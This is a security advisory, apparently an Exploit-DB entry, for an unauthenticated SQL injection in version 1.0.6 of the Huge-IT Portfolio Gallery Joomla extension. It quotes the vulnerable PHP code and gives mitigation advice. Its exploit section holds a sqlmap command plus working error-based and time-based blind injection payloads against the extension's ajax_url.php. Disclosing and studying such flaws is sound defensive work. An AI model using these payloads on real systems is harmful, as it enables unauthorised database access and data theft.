Unauthenticated SQL Injection in Huge-IT Portfolio Gallery Joomla extension v1.0.6

vendor:

Huge-IT Portfolio Gallery Joomla extension

by:

Larry W. Cashdollar

9,8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Huge-IT Portfolio Gallery Joomla extension

Affected Version From: 1.0.6

Affected Version To: 1.0.6

Patch Exists: YES

Related CWE: CVE-2016-1000124

CPE: a:huge-it:portfolio_gallery:1.0.6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2016

Unauthenticated SQL Injection in Huge-IT Portfolio Gallery Joomla extension v1.0.6

The Huge-IT Portfolio Gallery extension can be exploited by unauthenticated users to perform SQL injection against the functions in ajax_url.php. The vulnerability is present in the lines 11-59 of the ajax_url.php file, where the user-supplied input is not properly sanitized before being used in a SQL query. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable script, which can lead to the execution of arbitrary SQL commands.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

Title: Unauthenticated SQL Injection in Huge-IT Portfolio Gallery Joomla extension v1.0.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-16
Download Site: http://huge-it.com/joomla-portfolio-gallery/
Vendor: huge-it.com
Vendor Notified: 2016-09-17
Vendor Contact: info@huge-it.com
Description: Huge-IT Portfolio Gallery extension can do wonders with your website. If you wish to show your photos, videos, enclosing the additional images and videos, then this Portfolio Gallery extension is what you need.
Vulnerability:
The following lines allow unauthenticated users to perform SQL injection against the functions in ajax_url.php:

In file ajax_url.php:

  11 define('_JEXEC',1);
  12 defined('_JEXEC') or die('Restircted access');
.
.
.
  49             $page = $_POST["page"];
  50             $num=$_POST['perpage'];
  51             $start = $page * $num - $num;
  52             $idofgallery=$_POST['galleryid'];
  53             $level = $_POST['level'];
  54             $query = $db->getQuery(true);
  55             $query->select('*');
  56             $query->from('#__huge_itportfolio_images');
  57             $query->where('portfolio_id ='.$idofgallery);
  58             $query ->order('#__huge_itportfolio_images.ordering asc');
  59             $db->setQuery($query,$start,$num);

CVE-ID: CVE-2016-1000124
Export: JSON TEXT XML
Exploit Code:
	• $ sqlmap -u 'http://example.com/components/com_portfoliogallery/ajax_url.php' --data="page=1&galleryid=*&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2"  --level=5 --risk=3
	•  
	•  
	• (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
	• sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:
	• ---
	• Parameter: #1* ((custom) POST)
	•     Type: error-based
	•     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
	•     Payload: page=1&galleryid=-2264 OR 1 GROUP BY CONCAT(0x71716a7a71,(SELECT (CASE WHEN (3883=3883) THEN 1 ELSE 0 END)),0x7178627071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2
	•  
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
	•     Payload: page=1&galleryid=(CASE WHEN (9445=9445) THEN SLEEP(5) ELSE 9445 END)&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2
	• ---
	• [13:30:39] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Debian 8.0 (jessie)
	• web application technology: Apache 2.4.10
	• back-end DBMS: MySQL >= 5.0.12
	• [13:30:39] [WARNING] HTTP error codes detected during run:
	• 500 (Internal Server Error) - 2715 times
	• [13:30:39] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'
	•  
	• [*] shutting down at 13:30:39
Screen Shots:
Advisory: http://www.vapidlabs.com/advisory.php?v=170